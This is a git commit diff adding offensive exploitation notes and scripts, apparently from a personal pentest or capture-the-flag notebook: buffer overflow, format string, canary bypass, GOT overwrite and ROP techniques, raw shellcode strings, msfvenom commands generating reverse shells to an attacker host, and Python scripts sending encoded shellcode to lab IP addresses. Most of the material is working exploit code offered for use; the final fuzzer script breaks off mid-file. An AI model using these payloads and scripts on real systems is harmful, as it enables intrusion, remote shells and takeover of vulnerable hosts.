restructured Exploits
This commit is contained in:
parent
b4524785b7
commit
a1efefe7cf
|
@ -0,0 +1,15 @@
|
|||
# ASLR
|
||||
|
||||
## System Status
|
||||
|
||||
* `0`, No randomization
|
||||
* `1`, Conservative, `*.so`, stack, `mmap`, VDSO and heap
|
||||
* `2`, full randomization
|
||||
|
||||
## Disable
|
||||
|
||||
```sh
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
|
||||
|
|
@ -0,0 +1,66 @@
|
|||
# Buffer Overflow
|
||||
* [Cheat Sheet](https://github.com/Tib3rius/Pentest-Cheatsheets/blob/master/exploits/buffer-overflows.rst)
|
||||
|
||||
# Usage
|
||||
* Fuzz & crash the binary pretty roughly via payload
|
||||
```sh
|
||||
python -c "print('A' * 3000)
|
||||
```
|
||||
|
||||
## Fuzzing
|
||||
* python 3
|
||||
../fuzzer.py
|
||||
|
||||
* python 2
|
||||
../fuzzer2.py
|
||||
|
||||
## Measure Offset
|
||||
* Use as payload
|
||||
```sh
|
||||
/opt/metasploit/tools/exploit/pattern_create.rb -l <bufferlength>
|
||||
```
|
||||
* Find content of the payload at EIP and identify exact bufferlength
|
||||
```sh
|
||||
/opt/metasploit/tools/exploit/pattern_offset.rb -l <bufferlength> -q <EIP-content>
|
||||
```
|
||||
```
|
||||
msf-pattern_offset -l <bufferlength> -q <EIP>
|
||||
```
|
||||
```
|
||||
mona msfpattern -l <bufferlength>
|
||||
```
|
||||
* Fill offset variable in exploit `buffer_overflow.py`
|
||||
../buffer_overflow.py
|
||||
|
||||
* Execute buffer_overflow.py, EIP should contain `BBBB`
|
||||
|
||||
## Find bad characters to input in the buffer
|
||||
* Execute `bad_chars.py` and include it as payload. Always excluded is `\x00`.
|
||||
../bad_chars.py
|
||||
|
||||
* Compare stack if any bad chars block exectuion of the payload following in the next steps.
|
||||
```sh
|
||||
!mona bytearray -b "\x00"
|
||||
!mona compare -f <path_to_bytearray.bin> -a <ESP>
|
||||
```
|
||||
|
||||
## Find Jump Point / RoP
|
||||
* Jump point to `ESP` (32 bit binary) needs to be found to put it inside `EIP`
|
||||
|
||||
### Example: Immunity Debugger using mona on windows machine
|
||||
```sh
|
||||
!mona modules
|
||||
```
|
||||
```sh
|
||||
!mona jmp -r esp -m <exploitable_bin_from_modules>
|
||||
```
|
||||
* The found address needs to be **LITTLE ENDIAN NOTATION INSIDE THE EIP VARIABLE** if x86/amd64
|
||||
|
||||
## Shellcode as Payload
|
||||
* Last part is the individual shellcode, put it in the payload variable of `buffer_overflow.py`
|
||||
```sh
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=<attacker-ip> LPORT=<attacker-port> -f c -e x86/shikata_ga_nai -b "\x00"
|
||||
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<attacker-ip LPORT=<attacker-port> -f c -e x86/shikata_ga_nai -b "\x00"
|
||||
```
|
||||
* Prepend NOPs as padding before shellcode
|
||||
|
|
@ -0,0 +1,10 @@
|
|||
# Canary Bypass
|
||||
|
||||
* Get canary value from stack via string format exploit as an offset
|
||||
```sh
|
||||
%42$p
|
||||
```
|
||||
* Use the found value to add it to the payload
|
||||
* Afterwards, if the binary is PIE a pointer to the main or the elf which is stack aligned should be found
|
||||
|
||||
|
|
@ -0,0 +1,32 @@
|
|||
# Cut Stack in Half + NOPsled
|
||||
|
||||
* Stack has to be executable
|
||||
* `cylic buffer` + `eip` content is `esp` + half of the stack + NOPsled + shellcode
|
||||
* **ASLR has to be off** or `eip` content address pointing into the sled needs to be fuzzed hard
|
||||
|
||||
## shellcraft
|
||||
* for example
|
||||
```sh
|
||||
shellcraft i386.linux.execve "/bin///sh" "['sh', '-p']" -f s
|
||||
```
|
||||
|
||||
## Usage
|
||||
* measure `eip` offset via
|
||||
```sh
|
||||
cyclic <number>
|
||||
```
|
||||
* Check eip content via gdb
|
||||
```sh
|
||||
cyclic -l <eipContent>
|
||||
```
|
||||
* Example code
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
padding(cyclic(cyclic_find(<eipContent>))
|
||||
eip = p32(<esp> + some offset into stack)
|
||||
sled = 90 * 100
|
||||
shellcode = "jhh\x2f\x2f\x2fsh\x2fbin\x89\xe3jph\x01\x01\x01\x01\x814\x24ri\x01,1\xc9Qj\x07Y\x01\xe1Qj\x08Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80"
|
||||
payload = padding + eip + sled + shellcode
|
||||
```
|
||||
|
|
@ -0,0 +1,105 @@
|
|||
# Format String
|
||||
|
||||
* Read and write values from stack
|
||||
* [axcheron's writeup](https://axcheron.github.io/exploit-101-format-strings/)
|
||||
|
||||
## Parameters
|
||||
|
||||
|Parameters |Type |Passed as
|
||||
|-----------------|-------------------------------------------|-----------|
|
||||
%d decimal (int) value
|
||||
%u unsigned decimal (unsigned int) value
|
||||
%x hexadecimal (unsigned int) value
|
||||
%p hexadecimal (unsigned int), nice layout value
|
||||
%s string ((const) (unsigned) char*) reference
|
||||
%n write the number of bytes ypu put in, (*int) reference
|
||||
|
||||
## Offset
|
||||
|
||||
* Read at offset as pointer value at the 42th argument on the stack
|
||||
```sh
|
||||
%42$s
|
||||
```
|
||||
* If the pointer at the offset references a string you can dereference by
|
||||
```sh
|
||||
%42$s
|
||||
```
|
||||
|
||||
## Length of output
|
||||
|
||||
* Padding of the first argument on stack to the given length
|
||||
```sh
|
||||
%31337x
|
||||
```
|
||||
|
||||
## Read
|
||||
|
||||
* Input `%x` for every value that should be read from the stack. These are the next values at lower addresses, directly under the print format function
|
||||
```sh
|
||||
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
|
||||
```
|
||||
|
||||
* Do long long hex reading from stack
|
||||
```sh
|
||||
%llx
|
||||
```
|
||||
|
||||
* Select values as string, e.g. the second value
|
||||
```sh
|
||||
%2$s
|
||||
```
|
||||
* Another way of reading the pointer is via
|
||||
```sh
|
||||
%p
|
||||
```
|
||||
* Read pointer on stack at offset 42
|
||||
```sh
|
||||
%42$p
|
||||
```
|
||||
|
||||
* [ir0stone's pwn-notes](https://github.com/ir0nstone/pwn-notes/blob/master/types/stack/format-string.md) contains some useful pwntool scripts like this one
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
#p = process('./vuln')
|
||||
p = remote(target_ip, 9006)
|
||||
|
||||
payload = b'%14$p||||'
|
||||
payload += p32(0x8048000)
|
||||
|
||||
p.sendline(payload)
|
||||
log.info(p.clean())
|
||||
```
|
||||
|
||||
## Write
|
||||
|
||||
* Writing is done via `%n`
|
||||
* An example, GOT overwrite. We want to replace the pointer address
|
||||
* Watch out for the `PTR` from PLT to GOT
|
||||
```sh
|
||||
objdump -Mintel -d <binary>
|
||||
|
||||
[...]
|
||||
0000000000401060 <printf@plt>:
|
||||
401060: ff 25 ca 2f 00 00 jmp QWORD PTR [rip+0x2fca] # 404030 <printf@GLIBC_2.2.5>
|
||||
401066: 68 03 00 00 00 push 0x3
|
||||
40106b: e9 b0 ff ff ff jmp 401020 <_init+0x20>
|
||||
[...]
|
||||
```
|
||||
* The `PTR` derefences __0x404030__
|
||||
* As an example, the parameter is found at arg 6 on the stack
|
||||
* Write the address of a function that cannot be reached into the PLT `PTR` to GOT through the buffer, so it will execute. The address which should be written is `0x40123b`
|
||||
* The input is as follows
|
||||
```sh
|
||||
%64c%6$n<restof address - 67>c %13$hn
|
||||
```
|
||||
* `64c` is `0x40`, rest of address - bytes already + 2 bytes alignment
|
||||
|
||||
## Tips and Tricks
|
||||
|
||||
* Overwrite GOT when there is no FullRELRO, when it is not read only
|
||||
* Find the input argument on the stack. Write `AAAA` and look out where it is placed on the stack
|
||||
```sh
|
||||
AAAA%6$p
|
||||
```
|
||||
|
|
@ -0,0 +1,42 @@
|
|||
# Integral Promotion
|
||||
|
||||
* Conditions of data types with different max and min values provoke unforseen comparisions
|
||||
* Comparing `int` and `uint` with values above max leads to integral promotion
|
||||
|
||||
* Check data type min and max
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <limits.h>
|
||||
|
||||
int main(void)
|
||||
{
|
||||
|
||||
printf("CHAR_MAX: %i\n", CHAR_MAX);
|
||||
printf("UCHAR_MAX: %i\n", UCHAR_MAX);
|
||||
|
||||
printf("SHORT_MAX: %i\n", SHRT_MAX);
|
||||
printf("USHORT_MAX: %i\n", USHRT_MAX);
|
||||
|
||||
printf("INT_MAX: %i\n", INT_MAX);
|
||||
printf("UINT_MAX: %u\n", UINT_MAX);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
* Not only conditions are susceptable to integral promotions, a sum - for example - is too. Values for promotion in this example are `2147483647` and `1`. `c` is negative and leads to the shell
|
||||
```c
|
||||
int a,b,c;
|
||||
|
||||
|
||||
if(a >=0 && b >=0)
|
||||
if(c >= 0){
|
||||
printf("\n[*] ADDING %d + %d",a,b);
|
||||
printf("\n[*] RESULT: %d\n",c);
|
||||
}
|
||||
else{
|
||||
system("/bin/sh");
|
||||
}
|
||||
else
|
||||
printf("nope");
|
||||
```
|
|
@ -0,0 +1,32 @@
|
|||
# Procedure Lookup Table, Global Offset Table
|
||||
|
||||
* Both are part of dynamic binaries
|
||||
* PLT resolves called function address of shared object
|
||||
* A function call inside the binary, to a function inside a shared object is done via PLT
|
||||
* __PLT__ contains dynamic address, references GOT
|
||||
* __GOT__ contains the absolute address of the called functions. Dynamic linker updates the GOT
|
||||
* __Lazy Linking__ is the process of loading the called SO function after they are called for the first time
|
||||
|
||||
|
||||
## pwn
|
||||
|
||||
* Overwrite the GOT address of a called functions, which then will be returned instead
|
||||
|
||||
* Check the disassembly of the binary for SO function call
|
||||
```sh
|
||||
x/s <functionaddress>
|
||||
x/3i <functionaddress>
|
||||
```
|
||||
* This is the PLT address
|
||||
* Check the GOT address of the PLT. There should be `PTR` via `jmp` to the GOT address of the function
|
||||
|
||||
* Rewrite this address with for example `system`. Take a look where it is placed
|
||||
```sh
|
||||
p system
|
||||
```
|
||||
* Set the address of the `jmp` to GOT to `system` address
|
||||
```sh
|
||||
set *<foundGOTjmpAddress>=<foundSystemAddress>
|
||||
```
|
||||
|
||||
* Fill the buffer with the argument to `system`
|
|
@ -0,0 +1,121 @@
|
|||
# Return Address reuse
|
||||
|
||||
## via Shellcode, an examples
|
||||
* Find out the address of the start of the buffer and the start address of the return address
|
||||
* Calculate the difference between these addresses so you know how much data to enter to overflow
|
||||
* Start out by entering the shellcode in the buffer, entering random data between the shellcode and the return address, and the address of the buffer in the return address
|
||||
|
||||
* Plus NOPsled (sometimes xargs is needed in front of the app call)
|
||||
```python
|
||||
python -c "print('\x90' * 30 +'\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe1\x08\x48\xc1\xe9\x08\x51\x48\x8d\x3c\x24\x48\x31\xd2\xb0\x3b\x0f\x05'+ '\x41' * 60 + '\xef\xbe\xad\xde')" | xargs ./buffer-overflow
|
||||
```
|
||||
|
||||
## Finding Offset
|
||||
### via gdb segfault output
|
||||
* 64 bit addresses use 6 out of 8 byte for addresses.
|
||||
```sh
|
||||
gdb ./application
|
||||
run $(python -c "print('\x41' * 180)")
|
||||
```
|
||||
* Return address hit completely when 6 bytes are filled.
|
||||
```sh
|
||||
Program received signal SIGSEGV, Segmentation fault.
|
||||
0x0000414141414141 in copy_arg ()
|
||||
```
|
||||
* Buffer = measured_length - (`$rbp` + 6 bytes return address)
|
||||
|
||||
### via metasploit
|
||||
```sh
|
||||
/opt/metasploit/tools/exploit/pattern_create.rb -l 180
|
||||
```
|
||||
* Looking for `rbp` Content in front of the return address to measure offset
|
||||
```sh
|
||||
(gdb) i r
|
||||
[...]
|
||||
rbp 0x<rbpAddress> 0x<rbpConent>
|
||||
[...]
|
||||
```
|
||||
* Measure offset
|
||||
```sh
|
||||
pt/metasploit/tools/exploit/pattern_offset -l 180 -q <rbpContent>
|
||||
```
|
||||
|
||||
## Crafting Payload
|
||||
* Contains Junk/NOPslice + shellcode + Junk over rbp + return address
|
||||
* Inside gdb
|
||||
```sh
|
||||
run $(python -c "print('A' * 100 + <shellcode> + 'A' * 12 + 'B' * 6)")
|
||||
```
|
||||
* Check actual stack
|
||||
```sh
|
||||
(gdb) x/100x $rsp-200
|
||||
0x7fffffffe228: 0x00400450 0x00000000 0xffffe3e0 0x00007fff
|
||||
0x7fffffffe238: 0x00400561 0x00000000 0xf7dce8c0 0x00007fff
|
||||
0x7fffffffe248: 0xffffe64d 0x00007fff 0x41414141 0x41414141
|
||||
0x7fffffffe258: 0x41414141 0x41414141 0x41414141 0x41414141
|
||||
0x7fffffffe268: 0x41414141 0x41414141 0x41414141 0x41414141
|
||||
0x7fffffffe278: 0x41414141 0x41414141 0x41414141 0x41414141
|
||||
0x7fffffffe288: 0x41414141 0x41414141 0x41414141 0x41414141
|
||||
0x7fffffffe298: 0x41414141 0x41414141 0x41414141 0x41414141
|
||||
0x7fffffffe2a8: 0x41414141 0x41414141 0x41414141 0x48583b6a
|
||||
0x7fffffffe2b8: 0xb849d231 0x69622f2f 0x68732f6e 0x08e8c149
|
||||
[...]
|
||||
```
|
||||
* Shellcode starts at `0x7fffffffe2b8 - 4 bytes = 0x7fffffffe2b4`.
|
||||
## NopSled
|
||||
* Prepend **nopsled** instead of `A` and pick an address inside as the future return address, for example `0x7fffffffe2a8`.
|
||||
```sh
|
||||
(gdb) x/100x $rsp-200
|
||||
0x7fffffffe228: 0x00400450 0x00000000 0xffffe3e0 0x00007fff
|
||||
0x7fffffffe238: 0x00400561 0x00000000 0xf7dce8c0 0x00007fff
|
||||
0x7fffffffe248: 0xffffe64d 0x00007fff 0x90909090 0x90909090
|
||||
0x7fffffffe258: 0x90909090 0x90909090 0x90909090 0x90909090
|
||||
0x7fffffffe268: 0x90909090 0x90909090 0x90909090 0x90909090
|
||||
0x7fffffffe278: 0x90909090 0x90909090 0x90909090 0x90909090
|
||||
0x7fffffffe288: 0x90909090 0x90909090 0x90909090 0x90909090
|
||||
0x7fffffffe298: 0x90909090 0x90909090 0x90909090 0x90909090
|
||||
0x7fffffffe2a8: 0x90909090 0x90909090 0x90909090 0x48583b6a
|
||||
0x7fffffffe2b8: 0xb849d231 0x69622f2f 0x68732f6e 0x08e8c149
|
||||
```
|
||||
* Convert return address to little endian `0x7fffffffe2a8` -> `\xa8\xe2\xff\xff\xff\x7f` and put it inside the return address
|
||||
```sh
|
||||
run $(python -c "print('\x90'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'+'A'*12+'\xa8\xe2\xff\xff\xff\x7f')")
|
||||
```
|
||||
|
||||
## setuid() and setreuid()
|
||||
* Shellcode needs `setuid(0)` for effective root uid or the equivalent id of the account needed.
|
||||
* `/bin/sh` checks real uid not effective uid
|
||||
* ./shellcodes/setuid_shell.as
|
||||
|
||||
### setreuid() in assembler
|
||||
* [Linux Syscall Table](https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/)
|
||||
* `setreuid(1002,1002)` sets the __real__ uid inside the shell to 1002.
|
||||
* `setreuid()` has `rax` number `\x71` (`113` dec). Args are stored in `rdi` and `rsi`.
|
||||
* ./shellcode/setreuid_shell.as
|
||||
```sh
|
||||
"\x48\x31\xFF\x48\x31\xC0\x48\x31\xF6\x66\xBE\xEA\x03\x66\xBF\xEA\x03\xB0\x71\x0F\x05\x48\x31\xD2\x48\xBB\xFF\x2F\x62\x69\x6E\x2F\x73\x68\x48\xC1\xEB\x08\x53\x48\x89\xE7\x48\x31\xC0\x50\x57\x48\x89\xE6\xB0\x3B\x0F\x05\x6A\x01\x5F\x6A\x3C\x58\x0F\x05"
|
||||
```
|
||||
* Convert to hex output via [Defuse](https://defuse.ca/online-x86-assembler.htm)
|
||||
|
||||
### setreuid() in shellcode using pwntools
|
||||
* Shellcraft builds a shellcode containing `setreuid()`, without any parameter given the real uid to the file owner.
|
||||
```sh
|
||||
* [Linux Syscall Table](https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/)
|
||||
shellcraft -f d amd64.linux.setreuid
|
||||
```
|
||||
* The uid can be set as an argument
|
||||
```sh
|
||||
shellcraft -f d amd64.linux.setreuid <uid>
|
||||
```
|
||||
* Prepend this in front of the existing shellcode like this
|
||||
```sh
|
||||
run $(python -c "print('\x90' * 99 + '\x6a\x6b\x58\x0f\x05\x48\x89\xc7\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'B' * 8 + '\x88\xe2\xff\xff\xff\x7f')")
|
||||
```
|
||||
* Where the existing shellcode is the following
|
||||
```sh
|
||||
\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05
|
||||
```
|
||||
* Setreuid part is the following
|
||||
```sh
|
||||
\x6a\x6b\x58\x0f\x05\x48\x89\xc7\x6a\x71\x58\x48\x89\xfe\x0f\x05
|
||||
```
|
|
@ -0,0 +1,28 @@
|
|||
# ROP Chaining
|
||||
|
||||
## Usage
|
||||
|
||||
* Find cyclic buffer size
|
||||
* Find gadgets via `ropper` or even better `ropstar`
|
||||
|
||||
## Example
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
s = ssh(host="$TARGET_IP", user="<user>", keyfile="", password="")
|
||||
p = s.process(['sudo', '<process>'])
|
||||
|
||||
offset=<found_offset_len>
|
||||
|
||||
# take the ropchain from ropstar
|
||||
payload = cyclic(offset)
|
||||
payload += p64(0x4711)
|
||||
payload += p64(0x235)
|
||||
payload += p64(0x007)
|
||||
|
||||
print(p.recv())
|
||||
p.sendline(payload)
|
||||
print(p.recv())
|
||||
p.sendline("/bin/sh")
|
||||
p.interactive(prompt='')
|
||||
```
|
|
@ -0,0 +1,8 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
from __future__ import print_function
|
||||
listRem = "\\x0a".split("\\x")
|
||||
for x in range(1, 256):
|
||||
if "{:02x}".format(x) not in listRem:
|
||||
print("\\x" + "{:02x}".format(x), end='')
|
||||
print()
|
|
@ -0,0 +1,65 @@
|
|||
import sys
|
||||
import socket
|
||||
|
||||
badchars = bytearray()
|
||||
listRem = [0x00]
|
||||
for x in range(1, 256):
|
||||
if x not in listRem:
|
||||
badchars.append(x)
|
||||
|
||||
buf = b""
|
||||
buf += b"\xdd\xc0\xd9\x74\x24\xf4\xbe\xd0\xdb\x95\xa8\x5d\x29"
|
||||
buf += b"\xc9\xb1\x52\x31\x75\x17\x83\xc5\x04\x03\xa5\xc8\x77"
|
||||
buf += b"\x5d\xb9\x07\xf5\x9e\x41\xd8\x9a\x17\xa4\xe9\x9a\x4c"
|
||||
buf += b"\xad\x5a\x2b\x06\xe3\x56\xc0\x4a\x17\xec\xa4\x42\x18"
|
||||
buf += b"\x45\x02\xb5\x17\x56\x3f\x85\x36\xd4\x42\xda\x98\xe5"
|
||||
buf += b"\x8c\x2f\xd9\x22\xf0\xc2\x8b\xfb\x7e\x70\x3b\x8f\xcb"
|
||||
buf += b"\x49\xb0\xc3\xda\xc9\x25\x93\xdd\xf8\xf8\xaf\x87\xda"
|
||||
buf += b"\xfb\x7c\xbc\x52\xe3\x61\xf9\x2d\x98\x52\x75\xac\x48"
|
||||
buf += b"\xab\x76\x03\xb5\x03\x85\x5d\xf2\xa4\x76\x28\x0a\xd7"
|
||||
buf += b"\x0b\x2b\xc9\xa5\xd7\xbe\xc9\x0e\x93\x19\x35\xae\x70"
|
||||
buf += b"\xff\xbe\xbc\x3d\x8b\x98\xa0\xc0\x58\x93\xdd\x49\x5f"
|
||||
buf += b"\x73\x54\x09\x44\x57\x3c\xc9\xe5\xce\x98\xbc\x1a\x10"
|
||||
buf += b"\x43\x60\xbf\x5b\x6e\x75\xb2\x06\xe7\xba\xff\xb8\xf7"
|
||||
buf += b"\xd4\x88\xcb\xc5\x7b\x23\x43\x66\xf3\xed\x94\x89\x2e"
|
||||
buf += b"\x49\x0a\x74\xd1\xaa\x03\xb3\x85\xfa\x3b\x12\xa6\x90"
|
||||
buf += b"\xbb\x9b\x73\x36\xeb\x33\x2c\xf7\x5b\xf4\x9c\x9f\xb1"
|
||||
buf += b"\xfb\xc3\x80\xba\xd1\x6b\x2a\x41\xb2\x99\xa2\x4e\x83"
|
||||
buf += b"\xf6\xb6\x50\x12\x5b\x3e\xb6\x7e\x73\x16\x61\x17\xea"
|
||||
buf += b"\x33\xf9\x86\xf3\xe9\x84\x89\x78\x1e\x79\x47\x89\x6b"
|
||||
buf += b"\x69\x30\x79\x26\xd3\x97\x86\x9c\x7b\x7b\x14\x7b\x7b"
|
||||
buf += b"\xf2\x05\xd4\x2c\x53\xfb\x2d\xb8\x49\xa2\x87\xde\x93"
|
||||
buf += b"\x32\xef\x5a\x48\x87\xee\x63\x1d\xb3\xd4\x73\xdb\x3c"
|
||||
buf += b"\x51\x27\xb3\x6a\x0f\x91\x75\xc5\xe1\x4b\x2c\xba\xab"
|
||||
buf += b"\x1b\xa9\xf0\x6b\x5d\xb6\xdc\x1d\x81\x07\x89\x5b\xbe"
|
||||
buf += b"\xa8\x5d\x6c\xc7\xd4\xfd\x93\x12\x5d\x1d\x76\xb6\xa8"
|
||||
buf += b"\xb6\x2f\x53\x11\xdb\xcf\x8e\x56\xe2\x53\x3a\x27\x11"
|
||||
buf += b"\x4b\x4f\x22\x5d\xcb\xbc\x5e\xce\xbe\xc2\xcd\xef\xea"
|
||||
|
||||
|
||||
ip = "10.10.143.77"
|
||||
port = 9999
|
||||
|
||||
|
||||
offset = 2012
|
||||
overflow = b"A" * offset
|
||||
retn = b"\xdf\x14\x50\x62" #"BBBB"
|
||||
padding = b"\x90" * 16
|
||||
payload = buf
|
||||
postfix = b""
|
||||
|
||||
|
||||
buffer = overflow + retn + padding + payload + postfix
|
||||
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
||||
s.connect((ip, port))
|
||||
s.recv(2000)
|
||||
s.send(b"pwnbot")
|
||||
s.recv(2000)
|
||||
print("Sending evil buffer...")
|
||||
s.send(buffer)
|
||||
print("Done!")
|
||||
s.close()
|
||||
except socket.error:
|
||||
print("Could not connect: "+socket.error)
|
|
@ -0,0 +1,54 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
import socket
|
||||
|
||||
ip = "10.10.122.155"
|
||||
port = 31337
|
||||
|
||||
prefix = ""
|
||||
offset = 146
|
||||
overflow = "A" * offset
|
||||
# EIP return
|
||||
#retn = "BBBB"
|
||||
retn = "\xc3\x14\x04\x08"
|
||||
padding = "\x90" * 16
|
||||
#padding = ""
|
||||
#payload = ""
|
||||
payload = "\xd9\xc8\xbb\xbb\x5e\x64\xef\xd9\x74\x24\xf4\x58\x33\xc9\xb1"
|
||||
payload += "\x52\x83\xc0\x04\x31\x58\x13\x03\xe3\x4d\x86\x1a\xef\x9a\xc4"
|
||||
payload += "\xe5\x0f\x5b\xa9\x6c\xea\x6a\xe9\x0b\x7f\xdc\xd9\x58\x2d\xd1"
|
||||
payload += "\x92\x0d\xc5\x62\xd6\x99\xea\xc3\x5d\xfc\xc5\xd4\xce\x3c\x44"
|
||||
payload += "\x57\x0d\x11\xa6\x66\xde\x64\xa7\xaf\x03\x84\xf5\x78\x4f\x3b"
|
||||
payload += "\xe9\x0d\x05\x80\x82\x5e\x8b\x80\x77\x16\xaa\xa1\x26\x2c\xf5"
|
||||
payload += "\x61\xc9\xe1\x8d\x2b\xd1\xe6\xa8\xe2\x6a\xdc\x47\xf5\xba\x2c"
|
||||
payload += "\xa7\x5a\x83\x80\x5a\xa2\xc4\x27\x85\xd1\x3c\x54\x38\xe2\xfb"
|
||||
payload += "\x26\xe6\x67\x1f\x80\x6d\xdf\xfb\x30\xa1\x86\x88\x3f\x0e\xcc"
|
||||
payload += "\xd6\x23\x91\x01\x6d\x5f\x1a\xa4\xa1\xe9\x58\x83\x65\xb1\x3b"
|
||||
payload += "\xaa\x3c\x1f\xed\xd3\x5e\xc0\x52\x76\x15\xed\x87\x0b\x74\x7a"
|
||||
payload += "\x6b\x26\x86\x7a\xe3\x31\xf5\x48\xac\xe9\x91\xe0\x25\x34\x66"
|
||||
payload += "\x06\x1c\x80\xf8\xf9\x9f\xf1\xd1\x3d\xcb\xa1\x49\x97\x74\x2a"
|
||||
payload += "\x89\x18\xa1\xfd\xd9\xb6\x1a\xbe\x89\x76\xcb\x56\xc3\x78\x34"
|
||||
payload += "\x46\xec\x52\x5d\xed\x17\x35\x68\xfb\x10\x04\x04\xf9\x1e\x97"
|
||||
payload += "\x88\x74\xf8\xfd\x22\xd1\x53\x6a\xda\x78\x2f\x0b\x23\x57\x4a"
|
||||
payload += "\x0b\xaf\x54\xab\xc2\x58\x10\xbf\xb3\xa8\x6f\x9d\x12\xb6\x45"
|
||||
payload += "\x89\xf9\x25\x02\x49\x77\x56\x9d\x1e\xd0\xa8\xd4\xca\xcc\x93"
|
||||
payload += "\x4e\xe8\x0c\x45\xa8\xa8\xca\xb6\x37\x31\x9e\x83\x13\x21\x66"
|
||||
payload += "\x0b\x18\x15\x36\x5a\xf6\xc3\xf0\x34\xb8\xbd\xaa\xeb\x12\x29"
|
||||
payload += "\x2a\xc0\xa4\x2f\x33\x0d\x53\xcf\x82\xf8\x22\xf0\x2b\x6d\xa3"
|
||||
payload += "\x89\x51\x0d\x4c\x40\xd2\x3d\x07\xc8\x73\xd6\xce\x99\xc1\xbb"
|
||||
payload += "\xf0\x74\x05\xc2\x72\x7c\xf6\x31\x6a\xf5\xf3\x7e\x2c\xe6\x89"
|
||||
payload += "\xef\xd9\x08\x3d\x0f\xc8";
|
||||
|
||||
#payload = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
|
||||
postfix = ""
|
||||
buffer = prefix + overflow + retn + padding + payload + postfix
|
||||
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
try:
|
||||
s.connect((ip, port))
|
||||
print("[*] Sending buffer...")
|
||||
s.send(bytes(buffer + "\r\n", "latin-1"))
|
||||
print("Done!")
|
||||
except:
|
||||
print("Could not connect")
|
|
@ -0,0 +1,19 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
from pwn import *
|
||||
from time import sleep
|
||||
|
||||
|
||||
#elf = context.binary = ELF('./pwn107.pwn107')
|
||||
#p = process()
|
||||
p = remote('10.10.216.4', 9007)
|
||||
sleep(1)
|
||||
p.sendline(b'%13$p,%19$p') # No. on stack. 1st: canary, 2nd: pointer to main function
|
||||
sleep(1)
|
||||
addresses = (p.recv().split())[62].decode().split(',')
|
||||
print(addresses)
|
||||
# Payload: Buffer + canary content + bsp + return pointer filled with address of the hidden function
|
||||
payload = b'A' * 24 + p64(int(addresses[0],16)) + b'B' * 8 + p64(int(addresses[1], 16) - 0x45)
|
||||
p.sendline(payload)
|
||||
sleep(1)
|
||||
p.interactive()
|
|
@ -0,0 +1,24 @@
|
|||
#!/usr/bin/env python
|
||||
import sys, time, socket
|
||||
|
||||
ip = "192.168.56.102"
|
||||
port = 31337
|
||||
timeout = 5
|
||||
prefix = ""
|
||||
counter = 100
|
||||
|
||||
string = prefix + "A" * counter
|
||||
while True:
|
||||
try:
|
||||
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
|
||||
s.connect((ip, port))
|
||||
print ('[+] Sending buffer')
|
||||
#s.recv(1024)
|
||||
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
|
||||
